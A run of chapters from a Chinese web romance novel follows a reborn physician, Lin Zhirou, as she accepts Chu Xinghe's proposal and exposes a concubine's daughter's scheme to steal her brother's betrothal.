“成了!”她兴奋地喊道,眼睛亮晶晶的。 楚星河迫不及待地拿过筷子,也尝了一口,随即皱眉,“好苦。”他吐了吐舌头,一副受不了的样子。 林芷柔看着他的动作,心里暗自好笑。这人还真是不要脸,当着她全家的面,用她用过的筷子。不过想到他这么多年的性子,她也就释然了。 “酒精浓度高,自然是苦的。”林芷柔解释道,一边将酒精倒入准备好的瓶子里,“记住,以后受伤一定要用这个消毒,不能用清水。要是伤口感染了,后果很严重。” 楚星河认真地点头,“我记住了。不过柔柔,你是怎么想到用酒来提取酒精的?” 林芷柔将瓶子一个个摆好,“这个嘛,算是一点小发现吧。”她当然不能说这是前世的知识,只能含糊其辞。 林山和柳雅芝看着女儿忙碌的身影,心中既欣慰又心疼。自从重病一场后,女儿就变得格外懂事,不仅医术大有长进,还总能想出些新奇的法子来。 夫妻俗识趣地离开了厨房,林文昂也找了个借口溜了。屋里只剩下林芷柔和楚星河两人。 林芷柔招呼萤萤把黑狼林小七放了出来。笼子的门一开,一头体型硕大的黑狼便窜了出来。它警惕地打量着四周,鼻子不停地嗅着,眼睛在夜色中泛着幽幽的光。 “林小七,”林芷柔指着楚星河说,“你接下来得跟着他一起去锻炼。” 楚星河好奇地打量着这头黑狼,伸手想去抚摸它的脑袋,却被它厌烦地躲开了。 林小七甩开楚星河的手,露出尖锐的獠牙,喉咙里发出低沉的警告声。它晃了晃毛茸茸的大脑袋,琥珀色的眼睛里闪烁着不满的光芒,一副生人勿近的模样。 第九十章 非你不可 “看来它还不太喜欢你。”林芷柔忍俊不禁,看着楚星河吃瘪的样子觉得格外有趣。 楚星河也不恼,反而笑道:“没关系,日久生情嘛。它总会喜欢上我的。” 林芷柔白了他一眼,“少贫嘴。”林芷柔伸手抚摸着林小七的脑袋,柔声安抚道,“它可聪明了,起码得有五六岁小孩的智商。这次你要出门,让它跟着你也好。” “记住,带它出去要小心点,别让它受伤。这可是我好不容易才驯服的。” “放心吧,”楚星河郑重其事地点头,“我会照顾好它的。不过柔柔,你怎么突然想到要让我带它出去锻炼?” 林芷柔将最后一瓶酒精收好,“你不是说要去找那些山贼的踪迹吗?有林小七帮你,会安全很多。它的鼻子很灵,跟踪的本事一流。” 楚星河眼前一亮,“原来如此。柔柔,你总是为我考虑得这么周到。” 楚星河望着眼前的女子,她一袭白衣,发丝如瀑,在晚风中轻轻飘动。这样的场景,让他心头一暖,嘴角不自觉地上扬。 他大步上前,一把将林芷柔揽入怀中,鼻尖萦绕着她身上淡淡的药香:“柔柔,等我把事情办完,一定来向你提亲。” 林芷柔浑身一僵。活了两辈子,还是第一次被人这样拥抱。她慌乱地推开他,脸颊泛起红晕:“你疯了?要是被我家人看见怎么办?” 这一推用了十足的力道,楚星河一个趔趄差点摔倒。幸好林小七及时用头顶住了他的腰,这才没让他出丑。林小七冲着主人呜呜叫了两声,似乎在抱怨她下手太重。 “看见就看见。”楚星河稳住身形,眸中闪烁着执着的光芒,“你终究是我的人。” 月光下,林芷柔愣住了。她看着眼前这个俊美如玉的男子,忽然觉得有些陌生。自从那晚被迫依偎在他怀里,这人就像变了个人似的。他的眼神里不再是清冷疏离,取而代之的是缱绻的温柔。 院子里的梨花随风摇曳,花瓣纷纷扬扬地落下,为这一刻增添了几分浪漫的气息。 “柔柔。”楚星河双手扶住她的肩膀,目光灼灼,“不要躲避我。我心悦你,今生今世,非你不可。” 林芷柔抬头对上他的眼睛,那里面盛满了深情。她的心跳不受控制地加快,但理智告诉她不能轻易答应。她深吸一口气:“你知道这句话意味着什么吗?今生今世这四个字,你真的能做到?” “一定能。”楚星河毫不犹豫地回答,声音坚定而有力。 林小七在一旁转了个圈,发出一声低吼,似乎在表达对这个回答的不屑。 “那你的家人呢?”林芷柔皱眉问道,“特别是你那位强势的祖母。” 楚星河握住她的手,掌心传来温暖的触感:“我爸妈肯定会赞成的。至于祖母......”他顿了顿,“她再厉害,也管不到我的婚事。” 林芷柔沉默了。月光下,她的表情显得格外复杂。她知道楚星河为了娶她做了很多,可她不敢轻易许下承诺。重活一世,她本想远离情爱,专心医术。可这个如谪仙般的少年,却在她筑起的高墙上撞出了一道裂缝。 “我这个人很霸道。”林芷柔直视着楚星河的眼睛,语气冰冷,“我的男人得对我专一。若是敢背叛我,我情愿了结了他,也不会容忍他和别的女人在一起。这样的我,你还敢要吗?” “要。”楚星河将她拥入怀中,感受着她的体温,“正因为怕死,我才会记住你的话。这辈子只有你一个,足够了。” 林芷柔靠在他胸前,听着他有力的心跳声。这一刻,她忽然觉得很安心,但随即又想到了前世的种种,心中不免有些忐忑:“记住你说的话。假如有一天你敢背叛我,我绝不会手软。” “好。”楚星河低头亲了亲她的发顶,语气宠溺,“我一定做个听话的好相公。” 林芷柔在他腰间狠狠拧了一把:“少在这儿油嘴滑舌。” 楚星河吃痛,却笑得更开心了。他看着怀中的人儿,心中满是柔情。月光下,她的侧脸如同上等的美玉,让人移不开眼。 “柔柔,让我母亲明天就来提亲吧。”楚星河忽然说道,语气中带着迫切,“我不想比文昂晚成亲。” “你傻啊?”林芷柔推开他,眉头紧蹙,“这么急匆匆的,不是此地无银三百两吗?再说了,你的病还没好,怎么说服你娘来提亲?” 楚星河蹲下身,与她平视。月光映照在他俊美的脸上,为他增添了几分温柔:“那你答应我,一定要等我回来。” 林芷柔看着他认真的表情,心中一软。她轻轻点头:“好,我等你。但你要答应我,一定要平安回来。” “一定。”楚星河的笑容灿烂如春日暖阳,眼角眉梢都洋溢着难以掩饰的喜悦。目光一瞬不瞬地追随着林芷柔的身影。 院子里弥漫着淡淡的酒香,几只麻雀在屋檐下叽叽喳喳地叫着,偶尔扑棱着翅膀飞过。 “别傻站着了,还不快去烧火?”林芷柔侧过头,眼中带着几分嗔怪。 楚星河立即屁颠屁颠地跑到灶前,修长的手指捡起地上的柴火。他小心翼翼地将柴火掰成适合的大小,动作轻柔地投入灶膛,生怕弄出太大的动静惊扰到林芷柔。 即便是做这等粗活,他的一举一动依然透着与生俱来的贵气。那双骨节分明的手在阳光下白皙如玉,连沾上些许灰尘都显得格外优雅。 林芷柔看得有些出神。这样一个人,就算是去街头乞讨,恐怕也会让人眼前一亮吧。她的目光不自觉地在他身上多停留了几秒,随即又慌忙移开。 “柔柔,你在看什么?”楚星河察觉到她的目光,嘴角勾起一抹得意的笑。他故意放慢了添柴的动作,像是在展示什么,“是不是被我的容貌迷住了?” 林芷柔一边换着酒坛,一边漫不经心地应道:“是啊,我向来喜欢美的事物,我未来的夫君,自然要生得好看些。”她的语气平淡,却让楚星河心头一颤。 楚星河心中暗暗感激父母把自己生得好,若是生得丑些,怕是连靠近柔柔的机会都没有。他偷偷瞄了眼林芷柔的侧脸,心中泛起一阵甜蜜。 第九十一章 哪里不对? 院子里的火光渐渐旺盛,酒香愈发浓郁。林小七蹲在一旁,时不时抽动着鼻子,眼巴巴地望着忙碌的两人。 酒精很快蒸馏完毕。虽然量不多,但足够飞鸢卫用了。林芷柔让楚云楚雨将酒精搬走,又单独给了楚星河一个瓦罐。 罐中装的是未经稀释的仙露泉,散发着淡淡的清香。既然已经答应要嫁给他了,自然要确保他平安归来。林芷柔的手指微微颤抖,将瓦罐递给楚星河时,不小心碰到了他的指尖。 “这水只能你喝,不许给别人。”林芷柔郑重其事地叮嘱,声音里带着几分紧张,“效果比之前的更好。” “我记住了。”楚星河小心翼翼地接过瓦罐,目光温柔地注视着她。他顺势将她搂入怀中,低声道。 林小七闻到仙露泉的香气,立即竖起耳朵,眼巴巴地望着瓦罐。它的尾巴轻轻摇晃,喉咙里发出细微的呜咽声。 “林小七!”林芷柔瞪了它一眼,语气严厉,“这是给楚星河的,不许偷喝。好好保护他,回来让你喝个够。” 林小七呜呜叫着,在她脚边蹭来蹭去,那双金色的眼睛里满是委屈。它用湿漉漉的鼻子轻轻碰了碰林芷柔的手,似乎在表达着什么。 林芷柔安抚地摸了摸小七的头,淡淡地说:“天色不早了,你该回去了。” 楚星河看了看天色,确实已经很晚了。他招呼着林小七,“走吧,小家伙,跟我回家。” 林小七忽然站起来,走到楚星河身边,用脑袋蹭了蹭他的手。这个举动让楚星河愣了一下,随即露出笑容:“放心,有它跟着我,不会有事的。” 楚星河深深看了林芷柔一眼,转身离去。渐渐融入了街道的尽头。 林小七依依不舍地跟上,偶尔回头看看林芷柔,眼中闪烁着泪光。它那威风凛凛的身影,此刻却显得有些落寞。 林芷柔站在原地,没有相送。前世的经验告诉她,离别时的相送,只会徒增伤感。 楚云楚雨看着主子怀抱瓦罐,身后还跟着一头威风凛凛的大狼,惊讶得说不出话来。他们对视一眼,都从对方眼中看到了震惊。 马车缓缓驶出城门,车轮碾过石板路,发出规律的声响。林小七蹲在车辕上,目光好奇地四处打量。 与此同时,宁府内却是另一番光景。朱漆大门紧闭,门前的石狮子在阳光下泛着冷光。府中下人来来往往,都在议论着这桩婚事。 宁老太太喜不自胜,赏了媒人一个大红包。她坐在太师椅上,脸上的皱纹都舒展开来,眼中闪烁着得意的光芒。 “这门亲事来得正是时候。”宁老太太捻着佛珠,慈眉善目地说道,“林大夫救了老身的命,这是报恩的好机会。” 消息很快传遍府中,每个角落都能听到窃窃私语。有人羡慕,有人嫉妒,更多的是不解。 宁家大夫人听说女儿要下嫁林大夫之弟,暗自叹息。 但既是老夫人的主意,她也不好多说什么。反正这个女儿她向来不太在意,嫁了便嫁了,大不了日后让她常回娘家便是。 宁涵清得知此事,特意在回廊处堵住了宁涵凤。她倚在朱红色的廊柱上,眼中带着几分轻蔑。 “恭喜大姐,总算是替宁家还了林大夫的救命之恩。”她笑得阴阳怪气,声音里满是讽刺,“不过这样的人家,也配娶宁家的女儿?” 宁涵凤不慌不忙,淡淡道:“多谢妹妹关心,也祝妹妹早日觅得良缘。不过林家,我绝对不会让你进门的。”她的目光平静,却带着一丝警告。 “哈哈!”宁涵清似乎听到了一个天大的笑话,笑声中带着几分尖刻,“林家不过是群逃荒的贱民,也就大姐愿意自甘下贱。我宁涵清,这辈子都不可能嫁入林家!” “妹妹记住今日说的话。”宁涵凤淡淡道,眼中满是冷意,“若有朝一日求到我面前......” “笑话!我怎会求你?”宁涵清咬牙切齿,“你以为你是谁?不过是个要嫁给贱民的可怜虫罢了!” “最好如此。”宁涵凤冷笑,目光如刀,“听说林家三公子才华横溢,可惜妹妹眼界太高,看不上这等人家。不过以妹妹的身份,想高攀名门,怕是也难。” 这番话如同一记耳光,打得宁涵清脸色煞白。她咬着唇,转身跑向大姨娘的院子。 大姨娘正在绣花,听到女儿急促的脚步声,抬头看去。只见宁涵清气喘吁吁地站在门口,脸色难看。 “姨娘,大姐说林家三公子很有才华...”宁涵清话未说完,就被大姨娘打断。 “别听她胡说。”大姨娘放下绣绷,语气不屑,“那小子才十四岁,连童生都不是,林家怎会要个比儿子大的儿媳?” 宁涵清这才打消了念头。不禁想起宁涵凤那种自信满满的样子,她总觉得心里不踏实。那种预感如同阴云,挥之不去。 “姨娘,大姐说日后我想进林家门,她不会同意...”宁涵清咬着唇,声音里带着几分不安。 大姨娘手中的针猛地一顿,刺破了手指。鲜红的血珠渗出来,她却顾不得疼痛,震惊地看向女儿:“她真这么说?” 宁涵清被母亲突如其来的反应吓了一跳,连忙点头:“大姐就是这么说的,一字不差。她说林家那边已经派人来说媒了。” 大姨娘站起身在屋内来回踱步,绣花鞋在地板上发出轻微的响声。她眉头紧锁,手指无意识地绞着手帕:“林家必定有什么我们不知道的秘密。” 檀香袅袅升起,屋内一片寂静。她在老夫人身边待了这么多年,对后宅之事了如指掌。宁涵凤从不说没把握的话,既然她敢这么说,必定是打听到了什么。 一个嫡女,为什么要嫁到林家去? 林家除了一个神医的名声,还有什么? 假如能嫁给神医,或许还值得考虑。能够嫁给那位神医的弟弟,这算什么? “清儿,”大姨娘突然停下脚步,“你还记得上次在街上遇到林家人的事吗?” 宁涵清点点头:“记得,那天我们去买胭脂,看到林家二公子骑马经过。”她顿了顿,“说起来,那位二公子倒是生得一表人才。” “一表人才有什么用?”大姨娘不屑地撇嘴,“他们家可是逃荒来的。若不是林大夫医术高明,恐怕现在还在乡下种地。” 第九十二章 后悔了 屋外传来急促的脚步声,贴身丫鬟夏荷匆匆跑进来:“夫人,奴婢打听到一个惊人的消息!” “快说!”大姨娘眼睛一亮。 夏荷压低声音:“林大夫...是个姑娘!” “什么?”大姨娘猛地站起身,脸色煞白,身子不稳地后退两步,幸好夏荷眼疾手快扶住了她。 夏荷连忙道:“千真万确!老夫人在商议聘礼时亲口说的。说是林家三个儿子两个女儿,特别提到林大夫这个大姑子。” 大姨娘一屁股跌坐在椅子上,额头冒出冷汗:“完了完了,这么好的亲事,我怎么就给推了?” 宁涵清一头雾水,看着母亲失态的样子,小声问道:“姨娘,林家有什么好的?不过是个神医罢了。” “傻丫头!”大姨娘恨铁不成钢地瞪了女儿一眼,“林大夫现在正在给云陵伯世子看病,若是治好了,必定会入府。以她的本事,在伯府站稳脚跟轻而易举。” 夏荷在一旁补充道:“听说云陵伯世子的病已经好转了,这几日都能下床走动了。” 宁涵清眼睛一亮,终于明白过来:“那岂不是说...” “对!”大姨娘站起身,整了整衣裳,“若是攀上这门亲事,咱们也能跟着水涨船高。走,去老夫人院里!” 母女俩急匆匆赶到老夫人院中,夏荷想要通报,却被大姨娘一把推开。她们直接闯进了内室。 屋内,老夫人正和宁家大爷说话,宁涵凤安静地坐在一旁绣花。见她们突然闯进来,老夫人脸色一沉。 “老夫人!”大姨娘跪地叩首,额头重重地磕在地上,“求您做主啊!” 宁涵清也跟着跪下:“祖母,清儿知错了!清儿愿意嫁去林家!” 宁涵凤放下手中的绣绷,嘴角勾起一抹冷笑:“怎么?现在不嫌林家是逃荒来的贱民了?” 宁涵清脸色一白,随即恼羞成怒:“大姐故意瞒着我们!明明清楚杜大夫是位姑娘,将来必定...” “住口!”宁家大爷一声怒喝,茶杯重重地砸在桌上,“林大夫的事,岂是你能妄议的?” 大姨娘心中一凛,这才明白过来。老爷和老夫人也没有十足的把握,这是在赌。赌林大夫能不能治好云陵伯世子,赌她能不能入伯府。 既然如此... “老爷,老夫人,”大姨娘低声下气,额头贴着地面,“清儿已经想通了。就算林大夫将来不入伯府,这门亲事我们也愿意。林家大公子虽然...” “够了!”老夫人冷笑一声,“媒人都已经说定了是凤儿,现在换人,你让我们如何向林家交代?” “可是...”大姨娘还想说什么。 “滚出去!”宁家大爷怒不可遏,脸色铁青,“来人,送她们回去!” 两个婆子立刻上前,一左一右架起大姨娘和宁涵清。 “老爷!老夫人!”大姨娘挣扎着,“您再想想啊!大小姐可是嫡女,这门亲事...” 宁涵凤始终带着讥讽的笑意,目送这对母女被拖了出去。她低头继续绣花,仿佛什么都没发生过。 老夫人长叹一声,捏了捏眉心:“真是家门不幸啊...” 宁家大爷看了宁涵凤一眼:“凤儿,你觉得如何?” 宁涵凤抬起头,眼神清澈:“全凭父亲和祖母做主。” 老夫人满意地点点头:“还是凤儿懂事。”她顿了顿,“林家那边,你可有什么想法?” 宁涵凤垂下眼帘,手中的针线不停:“孙女觉得,林大公子为人正直,家教也好。至于其他的...”她抬起头,嘴角带着若有若无的笑意,“孙女相信祖母和父亲的判断。” 老夫人和宁家大爷对视一眼,都从对方眼中看到了赞许。 门外,大姨娘被婆子们架着往外走,眼泪止不住地往下流。她知道,这一次是真的错过了。 宁涵清跟在后面,脸上还带着不甘心的神色。她回头看了一眼老夫人的院子,却只能看到紧闭的雕花门扉。 宁涵凤嘴角微微勾起一抹冷笑。她方才故意在宁涵清面前说那些暧昧不清的话,就是要让那对母女坐不住。看着宁涵清脸上那转瞬即逝的慌乱神色,她心中涌起一丝快意。 院子里的丫鬟们低着头忙碌,时不时用余光偷瞄这位大小姐。自从老夫人应下了林家的亲事,这位向来沉默寡言的大小姐似乎有了些变化。 “花儿。”宁涵凤唤来贴身丫鬟。 “小姐。”花儿快步上前,眼中带着几分担忧,“您这几日都没好好用膳...” “去备轿,我要去趟仁心医馆。”宁涵凤打断她的话,“大姨娘那边,怕是要生事了。” 往事如潮水般涌来,记忆中那个瘦弱的小女孩蜷缩在床榻上,发着高烧。大姨娘站在门口,冷眼旁观:“这灾星,怕是活不长了。”宁涵清躲在母亲身后,眼中满是幸灾乐祸。 宁涵凤攥紧了手指,指甲深深陷入掌心。那些年她身子弱,没少被宁涵清和大姨娘冷嘲热讽。如今也该让她们尝尝这滋味。 不过当务之急是去一趟仁心医馆。这门亲事来之不易,绝不能让宁涵清那丫头得逞。 正踌躇间,一道熟悉的身影映入眼帘。 “温大夫!”宁涵凤快步迎上前,裙摆在风中轻轻摆动。 温如玉停下脚步,目光落在她略显苍白的脸色上:“大小姐身子可是不适?” “无碍。”宁涵凤左右张望了下,压低声音道,“只是有件事想请温大夫帮忙。祖母已经应下了林大夫家的亲事,但大姨娘那边怕是要生事。” 温如玉眼前一亮:“是与我师傅家的婚事?” 宁涵凤没有解释,只是轻声道:“还请温大夫转告林大夫一声,此事宜早不宜迟。”说完福身一礼,转身离去。 温如玉望着她的背影,不禁叹息。这些年宁家大小姐吃了太多苦头,却从不向人诉苦。如今好不容易有了好姻缘,却又遇到这等事。 回到医馆后,温如玉立即写了张纸条,让小厮送去给林芷柔。纸条上寥寥数语,却字字透着急切。 第九十三章 横插一脚 林芷柔站在窗前,手中捏着那张纸条,眉头紧蹙。 “怎么了?”柳雅芝放下手中的针线,关切地问道。 “宁家那个庶女想来横插一脚。”林芷柔冷笑,手中的纸条被揉成一团,“娘,这次可别心软。” “放心。”林山接过话头,放下手中的医书,“咱们林家的长媳,岂是那等庶出之女能当的。况且老夫人已经应下了,她们还能如何?” “爹,您是不知道。”林芷柔转过身,语气中有些担忧,“那宁涵清仗着大姨娘宠爱,在宁府横行霸道。听说前几日还...” 另一边,大姨娘的院子里。 檀香缭绕,茶盏中的水汽袅袅上升。大姨娘坐在太师椅上,手指轻轻敲击着扶手。 “清儿,事到如今,也只能用这法子了。”大姨娘压低声音,眼中闪过一丝狠厉,“你若想做正头娘子,就得豁出去。” 宁涵清坐在矮凳上,手中的帕子被揉得皱巴巴的:“可是...可是那些守门的婆子...” “糊涂!”大姨娘恨铁不成钢,“你当姨娘这些年白活了?傍晚时分,你扮作丫鬟出去,只要事成,林家还能不应?” “我...我害怕...”宁涵清声音发颤,眼中满是惊慌。 “怕什么?”大姨娘冷笑,起身走到女儿面前,“你要是甘心看着宁涵凤那个灾星风光嫁人,就在这儿缩着吧!” 宁涵清咬着嘴唇,心里还是有些犹豫。 “娘...”她抬起头,眼中带着泪光,“若是被发现了怎么办?” “放心。”大姨娘拍了拍她的手,“娘已经安排好了。你只要按计划行事,那林家公子,定然是你的。” 宁涵清站在大姨娘面前,低头不语。窗外的蝉鸣声此起彼伏,屋内却弥漫着一股令人窒息的沉默。 “你这傻丫头,”大姨娘轻轻拍了拍她的手背,语气温和得不像话,“林家那小子可是个好苗子。你看看现在多少人家打听他的消息,想把女儿嫁过去。” “你瞧瞧你姐姐,”大姨娘继续说道,语气中带着几分讥讽,“一个嫡女,这些年过得还不如你这个庶女。若是让她抢了先,你以后的日子怕是更难过。” 屋内的香炉袅袅升起一缕青烟,宁涵清的思绪也随之飘散。自从林大夫治好姐姐脸上的疤痕后,父亲和祖母对她的态度确实大不相同。从前的冷落一扫而空,如今什么事都要与她商量。这种对姐姐的重视,让她异常不安。 “姨娘,”宁涵清咬了咬下唇,“若是被人发现......” “傻孩子,”大姨娘打断她的话,眼中满是算计,“只要计划周密,谁又能知道是我们做的?” 宁涵清的手指微微发颤。凡是宁涵凤青睐的,她都想弄到手。这已经成了她的执念,就像黑暗中的一团火,燃烧着她的理智。 “好,我听姨娘的。”她攥紧了拳头,指甲深深陷入掌心。 大姨娘满意地笑了,“你放心,只要进了林家的门,那个乡下老太婆还不是任你拿捏。” 母女俩密谋了一整晚,第二天一早,宁涵清就换上了丫鬟的装扮。她站在仁心医馆门口,心跳如鼓。 可惜事与愿违,守了大半天,才从医馆的伙计口中得知林文昂去了城外。 “城外好啊,”大姨娘听闻后,眼中精光一闪,“那地方清净,没有那么多眼睛盯着。” 第二天一早,宁涵清就雇了辆马车,沿着官道追寻林文昂的踪迹。马车摇摇晃晃,车轮碾过泥泞的道路,激起阵阵尘土。 赶车的小厮时不时回头偷瞄她一眼,眼神中带着几分轻佻。宁涵清心中一紧,却只能强作镇定。 一整天的寻找无果,宁涵清又累又饿,瘫坐在马车上。夕阳西下,将天际染成一片血红。荒郊野外,四下无人,寂静得可怕。 突然,马车停了下来。 “小娘子,”小厮转过身,露出一个猥琐的笑容,“陪爷快活快活。” 宁涵清心头一惊,浑身的血液仿佛在这一刻凝固。她强压下心中的恐惧,眼疾手快地抢过小厮腰间的马鞭,狠狠抽向马匹。 “驾!” 受惊的马儿疯狂奔驰,车轮碾过石子发出刺耳的声响。小厮毫无防备,被甩下马车,在后面破口大骂。 颠簸中的宁涵清死死抓住车厢,惊恐万分。眼泪不受控制地流下来,她不停呼救,声音却被疾驰的风声淹没。 马车失控地冲向山崖,就在这千钧一发之际,一个身影飞身而出,稳稳地拉住了缰绳。 是楚九三。 他的身形矫健如豹,动作干净利落。马儿在他的控制下渐渐平静下来,最终停在路边。 林文昂也在旁边,神色凝重地看着这一幕。他正要开口询问情况,突然一个人影从后面追了上来。 “啪”的一声,小厮一巴掌打在宁涵清脸上。清脆的耳光声在寂静的山路上格外刺耳。 “贱人,敢偷我的马车,”小厮面目狰狞,举起拳头,“看我不打死你!” 宁涵清被这一巴掌打得踉跄后退,脸颊火辣辣的疼。她下意识地捂住脸,眼泪在眼眶里打转,一时气急攻心,竟脱口说出了自己的身份。 空气仿佛凝固了一般。夕阳的余晖洒在青石板上,拉长了几个人的影子。 “宁家的人?”林文昂眉头微蹙,目光在她身上打量。他站在廊下,身形挺拔,一袭青衫衬得他愈发俊朗。 这丫头穿着打扮虽是丫鬟装束,但举手投足间却透着几分娇气,那双不经意间流露出来的傲气眼神,更不像是寻常下人。林文昂心中暗忖,莫非是哪个小姐派来的? “我是特意来找林公子的。”宁涵清抬起头,声音里带着几分羞涩,“听闻林公子来了城外的庄子,我便寻了过来。” 楚九三站在一旁,冷眼盯着那个想要轻薄宁涵清的小厮。那小厮被他的眼神吓得瑟瑟发抖,趁着无人注意时,一溜烟跑得没了影。 第九十四章 城外偶遇 “你是哪位小姐派来的?”林文昂心中疑惑更甚,声音里带着几分审视的意味。 宁涵清犹豫了一下,手指微微颤抖:“是我们家大小姐。”她低着头,不敢直视林文昂的眼睛。 “大小姐?”林文昂眸光一凝,“她有何事要你来寻我?”这段日子在大姐身边,他也学会了几分察言观色的本事。眼前这丫头言语闪烁,举止也不似宁家大小姐会派出的人。 “你...你就是林文昂?”宁涵清瞪大了眼睛,一脸不可思信。她原本以为林文昂会是个粗鄙武夫,没想到眼前的男子竟如此俊朗。 “正是在下。”林文昂面色渐冷,语气也冷了几分,“说吧,你们小姐究竟有何事?” “文昂哥哥!”宁涵清再也按捺不住,猛地朝林文昂扑了过去。她心中暗喜,终于找到这个朝思暮想的人了。 林文昂却是一个闪身,轻巧地避开了。他的动作干净利落,仿佛早有预料。 “砰!”宁涵清重重摔在地上,顿时尘土飞扬。她趴在地上,衣裙沾满了灰尘,眼泪瞬间涌了出来。 “文昂哥哥,你怎能如此狠心?”她抽泣着说,“我可是特意来寻你的啊!” 楚九三在一旁看得忍俊不禁:“林公子,你这可真是不解风情啊!”他的声音里带着几分调侃,却又透着一丝警惕。 “我是宁涵清,宁家的小姐!”文涵清终于说出了自己的身份,声音里带着哭腔,“我...我来这里是因为我倾慕于你。” “原来你是宁家的庶女。”楚九三冷笑一声,目光中带着几分轻蔑,“小庶女的胆子不小,居然敢独自跑到城外来。” 林文昂面色更冷:“我的妻子只会是宁涵凤,你还是请回吧。”他的语气坚决,不带一丝温度。 “为什么?”宁涵清不甘心地问,眼泪顺着脸颊滑落,“我比大姐要年轻多了,她都十八了,比你还大呢!”她的声音里带着几分嘶哑,像是要把心里所有的不甘都喊出来。 “年纪大些更好。”林文昂淡淡道,目光平静地看着她,“至少不会像你这般不懂事。遇事只知道哭,这样的人,如何能持家?” 宁涵清愣住了。她仔细想想,似乎从小到大,自己确实只会哭闹撒泼,其他什么也不会。她用手指死命地抓着地上的青石板,指甲都泛白了。 “我可以改的!”她急切地说,声音里带着几分哀求,“我是真心爱慕你啊!” “爱慕?”楚九三嗤笑一声,“在宁家提亲之前,可曾见你说过一句爱慕的话?分明是想破坏宁涵凤的婚事罢了。” 林文昂眸光一冷:“九三哥,点了她的穴道,送回宁家。”他转身离去,背影决绝。 楚九三走上前,手指轻点宁涵清的穴道。宁涵清只觉得身子一麻,便失去了知觉。最后的意识里,她看到的是林文昂那道渐行渐远的背影。 林芷柔站在宁家大门前,微风拂过她的衣袖,带来一丝凉意。 这一趟来宁家,她心里实在不痛快。原本今日是林家上门提亲的好日子,却不想半路杀出个程咬金,一个宁家庶女竟敢冒充丫鬟去勾搭自己的弟弟。 “大姐。”林文昂站在一旁,眼中带着几分怒意,“这事要怎么处理?那庶女竟敢如此算计于我......” 林芷柔转头看向弟弟,注意到他紧绷的下颌线条。这个年纪的少年郎,最是受不得这等欺瞒。她轻轻拍了拍弟弟的肩膀:“别急,进去说清楚。” 楚九三提着宁涵清紧随其后。那庶女被点了穴道,此刻动弹不得,只能眼睁睁看着自己被带进宁家。她的眼中闪烁着惊慌和后悔,脸色苍白如纸。 门房见是林大夫一行人来访,连忙躬身行礼:“林大夫请进,老夫人正在云鹤轩。” 穿过曲径通幽的回廊,林芷柔注意到两旁的花木修剪得极为整齐,处处彰显着大户人家的气派。然而此刻她无心欣赏这些。 宁涵清被楚九提着,心中懊悔不已。她不住地想着,自己怎么就听信了姨娘的话,做出这等蠢事?现在被抓了个现行,祖母那关肯定是过不去了。 想到祖母那张威严的脸,她就忍不住打了个寒颤。姨娘说得天花乱坠,说只要她按计划行事,就能嫁入林家。可现在倒好,不仅计划失败,还要面对祖母的怒火。 老夫人正在屋里和大爷商议宁涵凤的婚事,听闻林大夫来访,眉头便皱了起来。她放下手中的茶盏,目光扫向门外。 “老夫人,林大夫来了。”丫鬟的声音从外面传来。 “请进。”老夫人沉声道。 当看到被楚九提着进来的宁涵清时,老夫人的脸色瞬间阴沉下来。她死死盯着宁涵清身上那件丫鬟的衣裳,眼中几乎要喷出火来。 “老夫人,宁大爷。”林芷柔不卑不亢地行了一礼,声音清冷,“今日带这位姑娘来,是想请二位给个说法。” 宁家大爷看着地上的宁涵清,额头青筋暴起。这个不成器的女儿,竟敢做出这等丢人现眼的事情! “林大夫,实在抱歉。”宁大爷强压着怒气,声音微微发抖,“是小女不懂事,给贵府添麻烦了。” 林芷柔嘴角勾起一抹冷笑:“宁大爷言重了。只是这位小姐说她是宁家的女儿,还说对我弟弟一见钟情。我这个做姐姐的,自然要来问个清楚。” 她的目光在宁涵清身上停留片刻,继续道:“只是不知道,宁家的小姐为何要穿着丫鬟的衣裳,在城外"偶遇"我弟弟?” 宁老太太听出了林芷柔话中的讽刺之意,脸上一阵青一阵白。她猛地拍案而起:“这孽障!你不是说身子不适吗?怎么跑到城外去了?还穿着丫鬟的衣裳!” 宁涵清被解开穴道,扑通一声跪在地上。她浑身发抖,眼泪止不住地往下掉:“祖母饶命!都是姨娘教我的!她说只要我装作丫鬟......” “住口!”宁大爷厉声喝止,“还嫌不够丢人吗?” 林芷柔眸光一闪,心中了然。果然是后院那些见不得人的手段。这宁家的水,比她想象的还要深。 第九十五章 要个说法 “老夫人。”林芷柔开口道,语气平静中带着一丝凌厉,“我们林家虽不是什么显赫门第,但也讲究一个诚信。既然已经定下了宁大小姐,就不该有人想着耍什么花招。” 她顿了顿,继续道:“若是宁家觉得我们林家配不上,大可直说。只是这般手段,未免太过难看。” 老夫人听到这个问题,脸上火辣辣的烫,手指不自觉地握紧了太师椅的把手。 她哪里敢应承这种事?若是传出去,宁家的脸面往哪搁?这些年来,宁家在云州勉强维持着体面,若是被人知道竟做出这等不知廉耻的事情,恐怕连最后一点颜面都要丢尽了。 “宁家绝不会做这等糊涂事。”老夫人连忙说道,语气坚定中带着几分慌乱,“林大夫放心,这事我一定会严惩不贷!绝不会让这种事情再次发生。” “那就好。”林芷柔微微一笑,“我弟弟的婚事,可不能糊里糊涂。” 宁大爷看着林芷柔的笑容,只觉得后背发凉。这位林大夫虽然表面温和,但话里话外都透着一股子凌厉之意。他暗自庆幸,幸好这事发现得早。 “林大夫放心,此事绝不会再有第二次。”宁大爷郑重承诺,“我这就去查清楚,到底是谁在背后搞鬼。” 林芷柔点点头,她微微一笑,福了福身:“如此便好。人已送到,我和二弟就这样告辞了。”说完,带着弟弟告辞离去。临走前,她意味深长地看了眼跪在地上的宁涵清。这个庶女,不过是别人手中的一枚棋子罢了。 这个不知天高地厚的姑娘,此刻正低着头,肩膀微微发抖。林芷柔心中暗叹,宁涵清到底是年轻,不知这世间人情冷暖。想到宁涵凤那张苍白的脸,她心里更添了几分怜惜。这姑娘命也忒苦,年年桃花瘴,招人非议。费了好大劲才定下这门亲事,还要被庶妹惦记。 老夫人吩咐嬷嬷送客,林芷柔带着弟弟转身离开。她的背影挺拔,步履从容,仿佛对身后的纷争毫不在意。可只有她知道,这一趟来得值得。 行至大门处,林芷柔瞧见宁涵凤站在那里,眼中带着几分忐忑。林芷柔推了推弟弟:“你未来媳妇在等你呢,去打个招呼。” 林文昂红着脸走过去,脚步有些局促:“你怎么在这儿?” “我听说宁涵清去找你了。”宁涵凤轻声问道,她的声音微颤,隐隐透露出一丝紧张。 “是啊,她说非要嫁给我。”林文昂如实相告,眉头微皱,“我问她会什么本事,她一句话也说不出来。我又问她,难道除了哭就不会别的了吗。那样子,真是让人看不下去。” 